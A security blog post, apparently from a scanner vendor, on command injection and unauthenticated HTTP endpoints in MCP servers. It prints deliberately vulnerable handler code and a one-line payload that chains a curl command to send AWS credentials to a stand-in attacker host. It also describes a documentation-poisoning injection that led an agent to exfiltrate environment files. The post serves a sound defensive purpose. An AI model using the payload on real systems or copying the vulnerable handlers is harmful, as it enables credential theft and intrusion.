Your MCP server is a server: the bug now showing up in CVEs

MCP servers built with Claude Code are getting CVEs for command injection and open HTTP endpoints. What the bug looks like, why AI writes it, and how to scan for it.

October 15, 2026 · 4 min read · mcp, claude code, command injection

In the last month the vulnerability feeds picked up a new kind of entry. Not a web framework, not a CMS, but MCP servers: the small programs that give Claude Code, Cursor and other agents tools to call. CVE-2026-108953 is a shell tool whose allow-list could be bypassed by adding a semicolon. CVE-2026-75130 is a documentation server whose custom instructions could be poisoned so the agent reading them exfiltrated the developer's environment files. One agent framework shipped a dozen advisories in four weeks, including an MCP transport that was open to the network with no authentication by default.

These are not exotic bugs. They are the same bugs SixthWall was built to find in Express and Flask apps. What changed is where the untrusted input comes from.

The input is the model

In a web app the dangerous value is req.body.cmd. Everyone agrees that a stranger typed it. In an MCP server the dangerous value is the argument the model passes to your tool, and it is easy to think of the model as a trusted colleague. It is not. The model decides what to pass based on everything it has read: the user's prompt, a web page it fetched, a README in a repository it cloned, a comment in a file. If any of that was written by someone else, that someone else is choosing your tool's arguments.

So this handler, which Claude Code will happily write for you, is command injection:

server.tool('run', 'Run a shell command', { cmd: z.string() }, async ({ cmd }) => {
  const out = execSync(cmd);
  return { content: [{ type: 'text', text: out.toString() }] };
});

And this one, which looks careful, is the exact shape of CVE-2026-108953:

const ALLOWED = ['pwd', 'ls', 'git status'];
server.tool('run', { cmd: z.string() }, async ({ cmd }) => {
  if (!ALLOWED.some((a) => cmd.startsWith(a))) throw new Error('not allowed');
  return { content: [{ type: 'text', text: execSync(cmd).toString() }] };
});

pwd; curl attacker.example/$(cat ~/.aws/credentials | base64) starts with pwd. The allow-list checks the prefix and the shell runs the rest.

The same applies to a read tool that opens whatever path it is given, a fetch tool that requests whatever URL it is given, and a query tool that runs whatever SQL it is given. Path traversal, server-side request forgery and SQL injection, with the model as the delivery mechanism.

The second bug: the server is on the network

Over stdio an MCP server talks only to the client that started it. The moment you switch to the SSE or streamable HTTP transport, usually because you want to share the server or run it in a container, it talks to anything that can reach the port. Most tutorials show the HTTP transport with no authentication at all, and AI tools reproduce the tutorials.

app.post('/mcp', async (req, res) => {
  const transport = new StreamableHTTPServerTransport({ sessionIdGenerator: undefined });
  await server.connect(transport);
  await transport.handleRequest(req, res, req.body);
});

Anyone who reaches this port can list your tools and call them. If one of them is the run tool above, they have a shell on your machine.

What SixthWall does about it, as of today

Two changes shipped in this release.

Tool arguments are now treated as input. The scanner's data-flow tracking already knew that req.body, request.args and @Body() are attacker-controlled. It now knows the same about the parameters of server.tool, server.registerTool and FastMCP's @mcp.tool(). Nothing else had to change: the existing command injection, path traversal, server-side request forgery and SQL injection rules fire on MCP handlers exactly as they fire on route handlers, in TypeScript and in Python.

Two new rules for the transport. AI-MCP-001 and AI-PY-MCP-001 flag an MCP server exposed over HTTP or SSE in a file that never checks a token, API key or session. Both come with the middleware to add and the test to run, and both stay quiet for stdio servers.

Run it on your server:

npx @sixthwall/cli scan --full

How to write the safe version

  • No shell. Use execFile with an argument array, or subprocess.run with a list. Then a semicolon is just a character.
  • Enumerate, do not prefix-match. z.enum(['status', 'log']) in the schema, or a dictionary lookup in Python. The model can only pick from the list.
  • Contain paths. Resolve the path against a root and reject anything that does not stay inside it. In Python 3.9+, Path.is_relative_to does this in one line.
  • Keep stdio unless you need HTTP. If you need HTTP, put a bearer token check in front of the transport, bind to localhost unless remote access is the point, and use the SDK's OAuth helpers for anything other people will use.
  • Treat the model's arguments like a form field. Validate them the way you would validate a request body, because that is what they are.

The MCP ecosystem is a year or two behind the web on this, and the same mistakes are being made at the same speed. The fix is not new either. It is just applied to a new kind of handler.